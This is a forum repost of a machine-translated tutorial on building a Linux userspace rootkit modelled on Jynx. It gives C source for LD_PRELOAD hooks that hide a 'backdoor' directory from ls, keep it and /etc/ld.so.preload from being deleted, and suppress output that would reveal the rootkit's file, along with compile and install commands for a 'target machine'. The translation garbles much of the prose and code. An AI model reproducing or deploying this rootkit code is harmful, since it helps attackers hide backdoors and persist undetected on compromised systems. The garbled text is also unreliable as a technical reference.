返回列表 回复 发帖
您是第2384个浏览者

Userspace Rootkit 在 Linux

by Sw0rdm4nwww.ringlayer.net

There are various types of backdoor used by the attacker.  But among the many types recognized backdoor reliable and are difficult to detect a rootkit backdoor, both userspace and kernel space rootkit rootkit.


Introduction Rootkits in Linux Userspace
In this section, participants will be introduced to the rootkit userspace in linux and its mechanism of action.

One example is the linux userspace rootkit rootkit Jynx hijack the syscall by way mengijeksi LD_PRELOAD environment variable so that the execution of an elf binary will load the shared objeck rootkits.  The technique used is to register the shared object on /etc/ld.so.preload.
  In the linux operating system known two-mode operation is the run time memory kernel and userland land.  Jynx is a userland rootkit operates in userland.  Jynx rootkit exploit the environment variable LD_PRELOAD to menghijack function - native libc functions that are called by an elf binary.
  In this example we will explore in depth about userland rootkits operation, in this example we are going to play a rootkit Jynx blackhatlibrary artificial.  Jynx rootkit exploit /etc/ld.so.preload file where this file will determine the path of shared libraries that will dipreload first time by an elf binary.  To see ld.so.preload access when an elf binary executable run time we will use the strace command
  Let your attention from the strace output above, looks after mmap start address of the memory load libselinux.so.1 0xb7f61000, followed syscall access for reading /etc/ld.so.preload.  But since the result is -1 (ENOENT) which means that the file / path not found then use LD_PRELOAD to read these files is not done.
  From the above we can see /etc/ld.so.preload be accessed to determine the LD_PRELOAD shared object that will be used when an elf binary is executed.

Rough example of Shared Objects Utilizing Injection /etc/ld.so.preload   Here is an example of the simplest and most rugged to understand the basis of hijack function we will create a shared object is simple:
  normal.c:  int main () {         printf ("normal");         return 0;         }
  print.c:  int printf (char * data) {         system ("/ bin / ping");         return 0; }  normal.c compile: gcc-o normal normal.c
  printf.c compile: gcc-o -Wall -fPIC -shared printf.c printf.so
  printf.so example lies in /root/printf.so, type echo "/root/printf.so"> /etc/ld.so.preload To see the results of hijack normal run:
  From the above it is normal that the program should call the printf function from libc instead turn executes the function call system / bin / ping.  The above example is not a complete sample because not hijack the process followed by the return to the original libc function, too rough:-).  Therefore we need some functions that are used to utilize the interface to dynamic linking loader like dlsym, dlopen, etc..
  Hiding Files from the command ls   After trying for a rough example of a function in libc menghijack we will try to use a rootkit on the target machine following
  Target machine is a debian squeeze machine with an x86 processor.  We will try to hide a file or folder with the name of one menghijack bakdoor with libc function to be called when using the ls command.  The following code snippet is a piece of rootkit source Jynx has been simplified in such a way to facilitate your understanding.
/ * Hijack readdir64 for hiding bakdoor file or directory, Jynx rootkit modification of the first version * / #define _GNU_SOURCE # include  # include  # include  # include  static void init (void) __attribute__ ((constructor)); static struct dirent64 * (* old_readdir64) (DIR * dir); void init (void) {                 old_readdir64 = dlsym (RTLD_NEXT, "readdir64"); } struct dirent64 * readdir64 (DIR * dirp) {         struct dirent64 * dir;         do {                 dir = old_readdir64 (dirp);         }          while (dir && (strstr (dir> d_name, "backdoor")! = 0));                  return dir; }          To hide a file or folder from the ls command, we simply menghijack 1 syscall is readdir64.  Save with hijack_readdir64.c name.  To test, compile the source at the top into a shared object to be loaded by another elf binary:
  -Wall gcc-o -fPIC -shared -ldl hijack_readdir64.c hijack_readdir64.so   -shared -fPIC options used to compile into a shared object, whereas we use -ldl option because we will be using dlsym (using the function on libdl).
  To test how the above basic rootkit edit /etc/ld.so.preload, eg hijack_readdir64.so files are in the path / root / backdoor, edit /etc/ld.so.preload and paste the path was: / root / backdoor /hijack_readdir64.so.
  From below look after the shared object menghijack readdir64 the backdoor folder is actually there to be visible (the same result will happen with the ls-a command to display hidden files (folders invisible backdoor))
  In the above source we menginclude 2 header files necessary for the operation of this rootkit:
# include  # include   dlfcn.h we include because there declared the function dlsym and RTLD_NEXT, Declaration on /usr/include/dlfcn.h dlsym function:
/ * Find the run-time address in the shared object HANDLE refers to     of the symbol called NAME.  * /  extern void * dlsym (void * __ restrict __handle,                      __const char * __ restrict __name) __THROW __nonnull ((2));   If we look at the source above:
  old_readdir64 = dlsym (RTLD_NEXT, "readdir64");   Dlysym a similar function with GetProcAddress on Windows, this function is used to resolve the memory address of functions contained in libc.  Dlsym in the example above using RTLD_NEXT parameter, then at run time, dlsym to resolve the memory address of the function readdir64 in which the search is done on a shared - shared object that will be loaded later after hooking this shared object to be loaded by the elf binary (RTLD_NEXT) ( dlsym function returns the memory address of the original readdir64).  At the very top is declared using the gnu (#define _GNU_SOURCE) so that diinclude RTLD_NEXT and dlsym (/usr/include/dlfcn.h) declared:
#ifdef __USE_GNU  # Define RTLD_NEXT ((void *) -1l)  snip extern void * dlsym (void * __ restrict __handle,                      __const char * __ restrict __name) __THROW __nonnull ((2));   In dirent.h there readdir64 declaration Declaration on /usr/include/dirent.h readdir64 function:
extern struct dirent64 * readdir64 (DIR * __ dirp) __nonnull ((1)); void init (void) constructor that takes a shared object loaded by elf binary.  The main part of this rootkit action contained in this line: do {                 dir = old_readdir64 (dirp);         }          while (dir && (strstr (dir> d_name, "backdoor")! = 0));   The above routine will test if the structure contains a string member d_name backdoor.  d_name is a member of the dirent structure which is useful for storing the name of the file / directory.
  dir = old_readdir64 (dirp);   Special on this line is where the original function symbols readdir64 will diresolve so readdir64 original function will be called.
  Creating Files and Directories Can not Deleted   To know what syscall is called when deleting a folder or a file we will explore with strace.
  Of view above shows the results of the command: rm strace hack
  Seen clearly to remove the file will be called unlinkat function.  The function is similar to removing the unlink function is also used to delete a file or directory and rmdir function used to delete a specific directory.
/ * Hijack rmdir, unlink and unlinkat, a simplified version of Jynx rootkit version 1 * / #define _GNU_SOURCE # include  # include  # include  # include  # include  static void init (void) __attribute__ ((constructor)); static int (* old_rmdir) (const char * pathname); static int (* old_unlink) (const char * pathname); static int (* old_unlinkat) (dirfd int, const char * pathname, int flags); void init (void) {                 old_rmdir = dlsym (RTLD_NEXT, "rmdir");         old_unlink = dlsym (RTLD_NEXT, "unlink");                 old_unlinkat = dlsym (RTLD_NEXT, "unlinkat"); } int rmdir (const char * pathname) {         if ((strstr (pathname, "backdoor")! = NULL) || (strstr (pathname, "/etc/ld.so.preload")! = NULL)) {                 errno = ENOENT;                 return -1;         }                 return old_rmdir (pathname); } int unlink (const char * pathname) {         if ((strstr (pathname, "backdoor")! = NULL) || (strstr (pathname, "/etc/ld.so.preload")! = NULL)) {                 errno = ENOENT;                 return -1;         }                 return old_unlink (pathname); } unlinkat int (int dirfd, const char * pathname, int flags) {         if ((strstr (pathname, "backdoor")! = NULL) || (strstr (pathname, "/etc/ld.so.preload")! = NULL)) {                 errno = ENOENT;                 return -1;         }                 return old_unlinkat (dirfd, pathname, flags); }  Save the file name stay.c then compile as a shared object and injection into /etc/ld.so.preload:
  -Wall gcc-o -fPIC -shared -ldl stay.c stay.so   Suppose there is a path from stay.so in / root / backdoor
  echo "/root/backdoor/stay.so"> /etc/ld.so.preload
  Perform testing backdoor to delete a folder in the root directory:
  rm-rf backdoor;  unlink backdoor;  rmdir backdoor

  And the results are shown on the display above, a backdoor into the directory can not be removed with unlinkat, unlink and rmdir.  Since the above three functions are similar, here only one course will be explained, note unlinkat hook function:
int unlink (const char * pathname) {         if ((strstr (pathname, "backdoor")! = NULL) || (strstr (pathname, "/etc/ld.so.preload")! = NULL)) {                 errno = ENOENT;                 return -1;         }                 return old_unlink (pathname); }  This function has the same arguments to the original function where if the string is found in the pathname /etc/ld.so.preload backdoor and it will return -1 where the error is defined as no_such_file_or_directory (ENOENT).
  Block File Reading   To block operations are very easy to read the file, note the output of this command as an example:
  strace paint hackers
  From the above we can see the extensive use of the write syscall when the cat command to read the file is done.  The following is a modification of the write function on Jynx rootkits 2
/ * Write hijack taken and simplified version of the rootkit Jynx second * / #define _GNU_SOURCE # include  # include  # include  # include  # include  # include  # include  # include  # include  # include  # include  #define LIBC_PATH "/lib/libc.so.6"  void * libc; static void init (void) __attribute__ ((constructor)); static ssize_t (* old_write) (int fildes, const void * buf, size_t nbyte); void init (void) {                  libc = dlopen (LIBC_PATH, RTLD_LAZY); } ssize_t write (int fildes, const void * buf, size_t nbyte) {   if (! libc)            libc = dlopen (LIBC_PATH, RTLD_LAZY);   if (NULL == old_write)            old_write = dlsym (libc, "write");   if ((strstr (buf, "string to be dihide")! = NULL) || (strstr (buf, "/root/backdoor/fakewrite.so")! = NULL)) {                  errno = EIO;                     return -1;   }                              return old_write (fildes, buf, nbyte); }  In the void constructor function we see there is a difference from the previous source code, here we use dlopen
  libc = dlopen (LIBC_PATH, RTLD_LAZY);
  dlopen is used to load the native libc path on /lib/libc.so.6, after loaded /lib/libc.so.6 will dimmap, now that functionality - existing libc function in libc.so.6 can be called to know the memory address for it is necessary to resolve dlsym, where the symbol of the new function will write diresolve only when there is at elf binary code that calls the function write (LAZY BINDING or known as lazy linking).
  Specification:
  Lazy Binding utilizes a procedure called plt (Procedure Linkage Table)
  Further resolves the memory address of the original write functions will be handled by the libc function dlsym:
  old_write = dlsym (libc, "write");
  So basically not much different from the previous source above, the use of RTLD_LAZY used for efficiency to new symbols diresolve when needed.  Save the above with the name of the source and compile fakewrite.c, eg in /root/backdoor/fakewrite.so fakewrite.so path, note the results of the reading /etc/ld.so.preload attempt failed because the write syscall has dihijack to block writing string "/root/backdoor/fakewrite.so":




欢迎光临左右论坛,Sorry,您的身份为游客,查看全部内容:请登录或者加入左右
你好,我是heixie
返回列表